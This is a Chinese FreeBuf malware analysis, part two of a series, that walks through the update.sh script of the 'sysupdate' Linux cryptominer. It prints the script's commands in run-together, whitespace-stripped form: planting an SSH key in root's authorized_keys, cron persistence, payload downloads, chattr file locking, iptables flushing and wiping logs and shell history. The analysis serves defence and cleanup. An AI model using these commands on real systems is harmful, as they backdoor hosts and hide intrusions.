FreeBuf|Linux系统sysupdate挖矿病毒之update.sh脚本分析( 二 )
echo"iamroot"echo"goto1">>/etc/sysupdateschattr-i/etc/sysupdate*chattr-i/etc/config.json*chattr-i/etc/update.sh*chattr-i/root/.ssh/authorized_keys*chattr-i/etc/networkservicethenunlock_cron#调用解锁echo"*/30****sh/etc/update.sh>/dev/null2>&1">>${crondir}lock_cron#加锁elseunlock_cron[[$cont=~"update.sh"]]||(crontab-l;echo"*/30****sh/etc/update.sh>/dev/null2>&1")|crontab-lock_cron配置SSH , 用于登录
chmod700/root/.ssh/echo>>/root/.ssh/authorized_keyschmod600root/.ssh/authorized_keysecho"ssh-rsaxxxroot@u17">>/root/.ssh/authorized_keys#写入公钥文件依次对/etc/config.json|sysupdate|sysguard的文件大小 , 并对对应文件进行下载:
filesize_config=`ls-l/etc/config.json|awk'{print$5}'`if["$filesize_config"-ne"$config_size"]thenpkill-fsysupdaterm/etc/config.jsondownloads$config_url/etc/config.json$config_url_backupelseecho"noneeddownload"下载update.sh
downloads$sh_url/etc/update.sh$sh_url_backup对/etc/networkservice文件大小进行比较 , 并下载对应文件:
if[-f"/etc/networkservice"]#对/etc/networkservice文件大小进行比较thenfilesize2=`ls-l/etc/networkservice|awk'{print$5}'`if["$filesize2"-ne"$scan_size"]thenpkill-fnetworkservicerm/etc/networkservicedownloads$scan_url/etc/networkservice$scan_url_backupelseecho"notneeddownload"fielse对sysupdate|networkservice|sysguard分别进行提权 , 并对执行的程序进行判定 , 是否为root执行 , 并再次执行 , 如下:
提权
if[$?-ne0]thencd/etcecho"notrootruning"sleep5s./sysupdate&elseecho"rootruning....."fi再对/etc/下的病毒文件进行加锁 , 并对/tmp/路径下的病毒文件进行解锁 , 如下:、
chmod777/etc/sysupdatechattr+i/etc/sysupdatechmod777/etc/networkservicechattr+i/etc/networkservicechmod777/etc/config.jsonchattr+i/etc/config.jsonchmod777/etc/update.shchattr+i/etc/update.shchmod777/root/.ssh/authorized_keyschattr+i/root/.ssh/authorized_keyselseecho"goto1">/tmp/sysupdateschattr-i/tmp/sysupdate*chattr-i/tmp/networkservicechattr-i/tmp/config.json*chattr-i/tmp/update.sh*相关解锁动作完成后会在tmp路径再次进行etc路径下的操作 , 操作完成后 , 会在此对tmp路径下的病毒文件进行加锁操作 , 这里不在列举 , 可参照上述信息 。
痕迹擦除
完成上述操作后会删除已有规则 , 并新建相关规则 , 清除历史命令操作和清除相关日志信息 , 如下:
iptables-F#清除预设表filter中的所有规则链的规则iptables-X#清除预设表filter中使用者自定链中的规则iptables-AOUTPUT-ptcp--dport3333-jDROP#-A:添加到规则末尾-p:协议--dport:目标端口-j:匹配规则DROP:丢弃iptables-AOUTPUT-ptcp--dport5555-jDROPiptables-AOUTPUT-ptcp--dport7777-jDROPiptables-AOUTPUT-ptcp--dport9999-jDROPiptables-IINPUT-s43.245.222.57-jDROP#-I:添加到指定位置INPUT:进入-s:源端IP地址serviceiptablesreload#重启iptablespsauxf|grep-vgrep|grep"stratum"|awk'{print$2}'|xargskill-9history-c#清理历史命令echo>/var/spool/mail/rootecho>/var/log/wtmpecho>/var/log/secureecho>/root/.bash_history上述为update.sh脚本的相关操作 , 通过对脚本进行分析 , 可以发现该挖矿病毒主要依赖进程和启动项信息 , 借此可以对该病毒进行清理 。
文件确认/etc目录文件发现sysupdate、sguard等文件
- 系统性学习Node.js(5)—手写 fs 核心方法
- 文件系统(02):基于SpringBoot管理Xml和CSV
- 中兴突然宣布!国产芯片、系统都传来好消息,150亿没有白花
- 某系统绕过waf拿下webshell
- 一文讲透“进程、线程、协程”
- Go 实战项目推荐:Gin 实现的工单系统
- 学大数据是否有前途 如何系统掌握大数据技术
- Linux培训完能到什么水平,之后还需要学习哪些技术?
- 如何使用 lshw 查看 Linux 设备信息
- 华为正式宣布!鸿蒙系统确认名单,部分机型无法升级或被淘汰